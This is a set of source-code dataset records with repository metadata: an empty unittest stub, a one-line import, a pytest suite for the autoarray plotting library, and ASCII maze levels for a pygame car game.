c472230ecd6958f7a105d7188ebb1e871ef7a8b1
|
[
"MIT"
] | 18
|
2019-04-05T12:43:03.000Z
|
2022-01-19T16:25:48.000Z
|
ik/src/tests/python/test_Solver.py
|
LaudateCorpus1/ik
|
c472230ecd6958f7a105d7188ebb1e871ef7a8b1
|
[
"MIT"
] | 53
|
2017-09-27T07:14:03.000Z
|
2022-01-03T17:55:18.000Z
|
import ik
import unittest
class TestSolver(unittest.TestCase):
pass
| 12.166667
| 36
| 0.780822
| 9
| 73
| 6.333333
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164384
| 73
| 5
| 37
| 14.6
| 0.934426
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 6
|
2bbc1387949c1f848c4efefd89253c1a919c0873
| 30
|
py
|
Python
|
app/api/__init__.py
|
pnguyenduong/virustracker-api
|
0622558ceb431667cc0af75f4835455258ec054b
|
[
"MIT"
] | null | null | null |
app/api/__init__.py
|
pnguyenduong/virustracker-api
|
0622558ceb431667cc0af75f4835455258ec054b
|
[
"MIT"
] | null | null | null |
app/api/__init__.py
|
pnguyenduong/virustracker-api
|
0622558ceb431667cc0af75f4835455258ec054b
|
[
"MIT"
] | null | null | null |
from app.api.routes import api
| 30
| 30
| 0.833333
| 6
| 30
| 4.166667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 30
| 1
| 30
| 30
| 0.925926
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
2bbf26e6f9ed571944d41bf407293fbe14a0b718
| 18,454
|
py
|
Python
|
test_autoarray/plot/test_structure_plotters.py
|
jonathanfrawley/PyAutoArray_copy
|
c21e8859bdb20737352147b9904797ac99985b73
|
[
"MIT"
] | null | null | null |
test_autoarray/plot/test_structure_plotters.py
|
jonathanfrawley/PyAutoArray_copy
|
c21e8859bdb20737352147b9904797ac99985b73
|
[
"MIT"
] | null | null | null |
test_autoarray/plot/test_structure_plotters.py
|
jonathanfrawley/PyAutoArray_copy
|
c21e8859bdb20737352147b9904797ac99985b73
|
[
"MIT"
] | null | null | null |
import autoarray as aa
import autoarray.plot as aplt
from os import path
import pytest
import numpy as np
import shutil
directory = path.dirname(path.realpath(__file__))
@pytest.fixture(name="plot_path")
def make_plot_path_setup():
return path.join(
"{}".format(path.dirname(path.realpath(__file__))), "files", "structures"
)
class TestYX1DPlotter:
def test__plot_yx_line__works_with_all_extras_included(self, plot_path, plot_patch):
visuals_1d = aplt.Visuals1D(vertical_line=1.0)
mat_plot_1d = aplt.MatPlot1D(
yx_plot=aplt.YXPlot(plot_axis_type="loglog", c="k"),
vertical_line_axvline=aplt.AXVLine(c="k"),
output=aplt.Output(path=plot_path, filename="yx_1", format="png"),
)
yx_1d_plotter = aplt.YX1DPlotter(
y=np.array([1.0, 2.0, 3.0]),
x=np.array([0.5, 1.0, 1.5]),
mat_plot_1d=mat_plot_1d,
visuals_1d=visuals_1d,
)
yx_1d_plotter.figure_1d()
assert path.join(plot_path, "yx_1.png") in plot_patch.paths
class TestArray2DPlotter:
def test___visuals_in_constructor_use_array_and_include(self, array_2d_7x7):
visuals_2d = aplt.Visuals2D(origin=(1.0, 1.0), vector_field=2)
include = aplt.Include2D(origin=True, mask=True, border=True)
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7, visuals_2d=visuals_2d, include_2d=include
)
assert array_plotter.visuals_2d.origin == (1.0, 1.0)
assert array_plotter.visuals_with_include_2d.origin == (1.0, 1.0)
assert array_plotter.visuals_2d.mask == None
assert (array_plotter.visuals_with_include_2d.mask == array_2d_7x7.mask).all()
assert array_plotter.visuals_2d.border == None
assert (
array_plotter.visuals_with_include_2d.border
== array_2d_7x7.mask.border_grid_sub_1.binned
).all()
assert array_plotter.visuals_2d.vector_field == 2
assert array_plotter.visuals_with_include_2d.vector_field == 2
include = aplt.Include2D(origin=False, mask=False, border=False)
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7, visuals_2d=visuals_2d, include_2d=include
)
assert array_plotter.visuals_with_include_2d.origin == (1.0, 1.0)
assert array_plotter.visuals_with_include_2d.mask == None
assert array_plotter.visuals_with_include_2d.border == None
assert array_plotter.visuals_with_include_2d.vector_field == 2
def test__works_with_all_extras_included(
self,
array_2d_7x7,
mask_2d_7x7,
grid_2d_7x7,
grid_2d_irregular_7x7_list,
plot_path,
plot_patch,
):
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="array1", format="png")
),
)
array_plotter.figure_2d()
assert path.join(plot_path, "array1.png") in plot_patch.paths
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7,
include_2d=aplt.Include2D(origin=True, mask=True, border=True),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="array2", format="png")
),
)
array_plotter.figure_2d()
assert path.join(plot_path, "array2.png") in plot_patch.paths
visuals_2d = aplt.Visuals2D(
origin=grid_2d_irregular_7x7_list,
mask=mask_2d_7x7,
border=mask_2d_7x7.border_grid_sub_1.binned,
grid=grid_2d_7x7,
positions=grid_2d_irregular_7x7_list,
# lines=grid_2d_irregular_7x7_list,
array_overlay=array_2d_7x7,
)
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7,
visuals_2d=visuals_2d,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="array3", format="png")
),
)
array_plotter.figure_2d()
assert path.join(plot_path, "array3.png") in plot_patch.paths
def test__fits_files_output_correctly(self, array_2d_7x7, plot_path):
plot_path = path.join(plot_path, "fits")
array_plotter = aplt.Array2DPlotter(
array=array_2d_7x7,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="array", format="fits")
),
)
if path.exists(plot_path):
shutil.rmtree(plot_path)
array_plotter.figure_2d()
arr = aa.util.array_2d.numpy_array_2d_from_fits(
file_path=path.join(plot_path, "array.fits"), hdu=0
)
assert (arr == array_2d_7x7.native).all()
class TestGrid2DPlotter:
def test___visuals_in_constructor_use_grid_and_include(self, grid_2d_7x7):
visuals_2d = aplt.Visuals2D(origin=(1.0, 1.0), vector_field=2)
include = aplt.Include2D(origin=True)
grid_plotter = aplt.Grid2DPlotter(
grid=grid_2d_7x7, visuals_2d=visuals_2d, include_2d=include
)
assert grid_plotter.visuals_2d.origin == (1.0, 1.0)
assert grid_plotter.visuals_with_include_2d.origin == (1.0, 1.0)
include = aplt.Include2D(origin=False)
grid_plotter = aplt.Grid2DPlotter(
grid=grid_2d_7x7, visuals_2d=visuals_2d, include_2d=include
)
assert grid_plotter.visuals_with_include_2d.origin == (1.0, 1.0)
assert grid_plotter.visuals_with_include_2d.vector_field == 2
def test__works_with_all_extras_included(
self,
array_2d_7x7,
grid_2d_7x7,
mask_2d_7x7,
grid_2d_irregular_7x7_list,
plot_path,
plot_patch,
):
grid_plotter = aplt.Grid2DPlotter(
grid=grid_2d_7x7,
visuals_2d=aplt.Visuals2D(indexes=[0, 1, 2]),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="grid1", format="png")
),
)
color_array = np.linspace(start=0.0, stop=1.0, num=grid_2d_7x7.shape_slim)
grid_plotter.figure_2d(color_array=color_array)
assert path.join(plot_path, "grid1.png") in plot_patch.paths
grid_plotter = aplt.Grid2DPlotter(
grid=grid_2d_7x7,
visuals_2d=aplt.Visuals2D(indexes=[0, 1, 2]),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="grid2", format="png")
),
include_2d=aplt.Include2D(origin=True, mask=True, border=True),
)
grid_plotter.figure_2d(color_array=color_array)
assert path.join(plot_path, "grid2.png") in plot_patch.paths
visuals_2d = aplt.Visuals2D(
origin=grid_2d_irregular_7x7_list,
mask=mask_2d_7x7,
border=mask_2d_7x7.border_grid_sub_1.binned,
grid=grid_2d_7x7,
positions=grid_2d_irregular_7x7_list,
lines=grid_2d_irregular_7x7_list,
array_overlay=array_2d_7x7,
indexes=[0, 1, 2],
)
grid_plotter = aplt.Grid2DPlotter(
grid=grid_2d_7x7,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="grid3", format="png")
),
visuals_2d=visuals_2d,
)
grid_plotter.figure_2d(color_array=color_array)
assert path.join(plot_path, "grid3.png") in plot_patch.paths
class TestMapperPlotter:
def test__visuals_for_data_from_rectangular_mapper(
self, rectangular_mapper_7x7_3x3
):
include = aplt.Include2D(
origin=True, mask=True, mapper_data_pixelization_grid=True, border=True
)
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3, include_2d=include
)
assert mapper_plotter.visuals_data_with_include_2d.origin.in_list == [
(0.0, 0.0)
]
assert (
mapper_plotter.visuals_data_with_include_2d.mask
== rectangular_mapper_7x7_3x3.source_grid_slim.mask
).all()
assert mapper_plotter.visuals_data_with_include_2d.grid == None
# assert visuals.border == (0, 2)
include = aplt.Include2D(
origin=False, mask=False, mapper_data_pixelization_grid=False, border=False
)
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3, include_2d=include
)
assert mapper_plotter.visuals_data_with_include_2d.origin == None
assert mapper_plotter.visuals_data_with_include_2d.mask == None
assert mapper_plotter.visuals_data_with_include_2d.grid == None
assert mapper_plotter.visuals_data_with_include_2d.border == None
def test__visuals_for_data_from_voronoi_mapper(self, voronoi_mapper_9_3x3):
include = aplt.Include2D(
origin=True, mask=True, mapper_data_pixelization_grid=True, border=True
)
mapper_plotter = aplt.MapperPlotter(
mapper=voronoi_mapper_9_3x3, include_2d=include
)
assert mapper_plotter.visuals_data_with_include_2d.origin.in_list == [
(0.0, 0.0)
]
assert (
mapper_plotter.visuals_data_with_include_2d.mask
== voronoi_mapper_9_3x3.source_grid_slim.mask
).all()
assert (
mapper_plotter.visuals_data_with_include_2d.pixelization_grid
== aa.Grid2D.uniform(shape_native=(2, 2), pixel_scales=0.1)
).all()
# assert visuals.border.shape == (0, 2)
include = aplt.Include2D(
origin=False, mask=False, mapper_data_pixelization_grid=False, border=False
)
mapper_plotter = aplt.MapperPlotter(
mapper=voronoi_mapper_9_3x3, include_2d=include
)
assert mapper_plotter.visuals_data_with_include_2d.origin == None
assert mapper_plotter.visuals_data_with_include_2d.mask == None
assert mapper_plotter.visuals_data_with_include_2d.grid == None
assert mapper_plotter.visuals_data_with_include_2d.pixelization_grid == None
assert mapper_plotter.visuals_data_with_include_2d.border == None
def test__visuals_for_source_from_rectangular_mapper(
self, rectangular_mapper_7x7_3x3
):
include = aplt.Include2D(
origin=True,
mapper_source_grid_slim=True,
mapper_source_pixelization_grid=True,
border=True,
)
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3, include_2d=include
)
assert mapper_plotter.visuals_2d.origin == None
assert mapper_plotter.visuals_source_with_include_2d.origin.in_list == [
(0.0, 0.0)
]
assert (
mapper_plotter.visuals_source_with_include_2d.grid
== rectangular_mapper_7x7_3x3.source_grid_slim
).all()
assert (
mapper_plotter.visuals_source_with_include_2d.pixelization_grid
== rectangular_mapper_7x7_3x3.source_pixelization_grid
).all()
assert (
mapper_plotter.visuals_source_with_include_2d.border
== rectangular_mapper_7x7_3x3.source_grid_slim.sub_border_grid
).all()
include = aplt.Include2D(
origin=False,
border=False,
mapper_source_grid_slim=False,
mapper_source_pixelization_grid=False,
)
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3, include_2d=include
)
assert mapper_plotter.visuals_source_with_include_2d.origin == None
assert mapper_plotter.visuals_source_with_include_2d.grid == None
assert mapper_plotter.visuals_source_with_include_2d.pixelization_grid == None
assert mapper_plotter.visuals_source_with_include_2d.border == None
def test__visuals_for_source_from_voronoi_mapper(self, voronoi_mapper_9_3x3):
include = aplt.Include2D(
origin=True,
border=True,
mapper_source_grid_slim=True,
mapper_source_pixelization_grid=True,
)
mapper_plotter = aplt.MapperPlotter(
mapper=voronoi_mapper_9_3x3, include_2d=include
)
assert mapper_plotter.visuals_2d.origin == None
assert mapper_plotter.visuals_source_with_include_2d.origin.in_list == [
(0.0, 0.0)
]
assert (
mapper_plotter.visuals_source_with_include_2d.grid
== voronoi_mapper_9_3x3.source_grid_slim
).all()
assert (
mapper_plotter.visuals_source_with_include_2d.pixelization_grid
== voronoi_mapper_9_3x3.source_pixelization_grid
).all()
assert (
mapper_plotter.visuals_source_with_include_2d.border
== voronoi_mapper_9_3x3.source_grid_slim.sub_border_grid
).all()
include = aplt.Include2D(
origin=False, border=False, mapper_source_pixelization_grid=False
)
mapper_plotter = aplt.MapperPlotter(
mapper=voronoi_mapper_9_3x3, include_2d=include
)
assert mapper_plotter.visuals_source_with_include_2d.origin == None
assert mapper_plotter.visuals_source_with_include_2d.grid == None
assert mapper_plotter.visuals_source_with_include_2d.border == None
def test__plot_rectangular_mapper__works_with_all_extras_included(
self, rectangular_mapper_7x7_3x3, plot_path, plot_patch
):
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3,
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper1", format="png")
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper1.png") in plot_patch.paths
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3,
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper2", format="png")
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper2.png") in plot_patch.paths
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3,
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper3", format="png")
),
include_2d=aplt.Include2D(
origin=True, mapper_source_pixelization_grid=True
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper3.png") in plot_patch.paths
def test__plot_voronoi_mapper__works_with_all_extras_included(
self, voronoi_mapper_9_3x3, plot_path, plot_patch
):
mapper_plotter = aplt.MapperPlotter(
mapper=voronoi_mapper_9_3x3,
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper1", format="png")
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper1.png") in plot_patch.paths
mapper_plotter = aplt.MapperPlotter(
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mapper=voronoi_mapper_9_3x3,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper2", format="png")
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper2.png") in plot_patch.paths
mapper_plotter = aplt.MapperPlotter(
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mapper=voronoi_mapper_9_3x3,
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, filename="mapper3", format="png")
),
)
mapper_plotter.figure_2d()
assert path.join(plot_path, "mapper3.png") in plot_patch.paths
def test__image_and_mapper_subplot_is_output_for_all_mappers(
self,
imaging_7x7,
rectangular_mapper_7x7_3x3,
voronoi_mapper_9_3x3,
plot_path,
plot_patch,
):
mapper_plotter = aplt.MapperPlotter(
mapper=rectangular_mapper_7x7_3x3,
visuals_2d=aplt.Visuals2D(
indexes=[[(0, 0), (0, 1)], [(1, 2)]], pixelization_indexes=[[0, 1], [2]]
),
mat_plot_2d=aplt.MatPlot2D(
output=aplt.Output(path=plot_path, format="png")
),
include_2d=aplt.Include2D(mapper_source_pixelization_grid=True),
)
mapper_plotter.subplot_image_and_mapper(image=imaging_7x7.image)
assert path.join(plot_path, "subplot_image_and_mapper.png") in plot_patch.paths
mapper_plotter.subplot_image_and_mapper(image=imaging_7x7.image)
assert path.join(plot_path, "subplot_image_and_mapper.png") in plot_patch.paths
| 35.217557
| 89
| 0.617427
| 2,187
| 18,454
| 4.824417
| 0.065844
| 0.048621
| 0.050517
| 0.078855
| 0.885035
| 0.862857
| 0.83575
| 0.807886
| 0.787414
| 0.785518
| 0
| 0.046303
| 0.291969
| 18,454
| 523
| 90
| 35.284895
| 0.761212
| 0.005907
| 0
| 0.641975
| 0
| 0
| 0.020492
| 0.003144
| 0
| 0
| 0
| 0
| 0.158025
| 1
| 0.034568
| false
| 0
| 0.014815
| 0.002469
| 0.061728
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a60d82cbe53076fcdd04723f529bca35a26a771d
| 2,270
|
py
|
Python
|
mapas/mapas.py
|
DeadZombie14/chillMagicCarPygame
|
756bb6d27939bed3c2834222d03096e90f05a788
|
[
"MIT"
] | null | null | null |
mapas/mapas.py
|
DeadZombie14/chillMagicCarPygame
|
756bb6d27939bed3c2834222d03096e90f05a788
|
[
"MIT"
] | null | null | null |
mapas/mapas.py
|
DeadZombie14/chillMagicCarPygame
|
756bb6d27939bed3c2834222d03096e90f05a788
|
[
"MIT"
] | null | null | null |
levels = [
[ # W = Muro, E = Meta, P = Jugador 1, J = Jugador 2, H = Jugador 3, I = Jugador 4,
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
"W W",
"W J W",
"W P W",
"W W",
"W W",
"W W",
"WWWWWWW WWW WWWWWWWWWWWW",
"W W",
"W W",
"W WWWWWWWWWWW W",
"W W",
"W O W",
"W W",
"W W",
"W W",
"W W",
"W WWWWWWWWWWWWWWWWWWWWWWWWWWWW",
"W EW",
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
],
[
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
"W W",
"W J W",
"W P W",
"W WWWWWWWWWWW W",
"W W",
"W W",
"WWWWWWW WWW WWWWWWWWWWWW",
"W W",
"W W",
"W W",
"W W",
"W W",
"W W",
"W W",
"W WWWWWWWWWWW W",
"W W",
"W E W",
"W W",
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
],
[
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
"W W",
"W WWWWWWWWWWWWWWWWWW J W",
"W P W",
"W W",
"W WWWWWWWWWWWWW W",
"W W",
"WWWWWWW WWW WWWWWWWWWWWW",
"W E W",
"W W",
"W W",
"W W",
"W W",
"W W",
"W W",
"W WWWWWWWWWWW W",
"W WWWWWWWWW W",
"W W",
"W W",
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW",
]
]
| 32.898551
| 84
| 0.234802
| 150
| 2,270
| 3.553333
| 0.166667
| 0.292683
| 0.326454
| 0.322702
| 0.707317
| 0.502814
| 0.502814
| 0.433396
| 0.418386
| 0.418386
| 0
| 0.005427
| 0.67533
| 2,270
| 69
| 85
| 32.898551
| 0.717775
| 0.034802
| 0
| 0.838235
| 0
| 0
| 0.877113
| 0.100503
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
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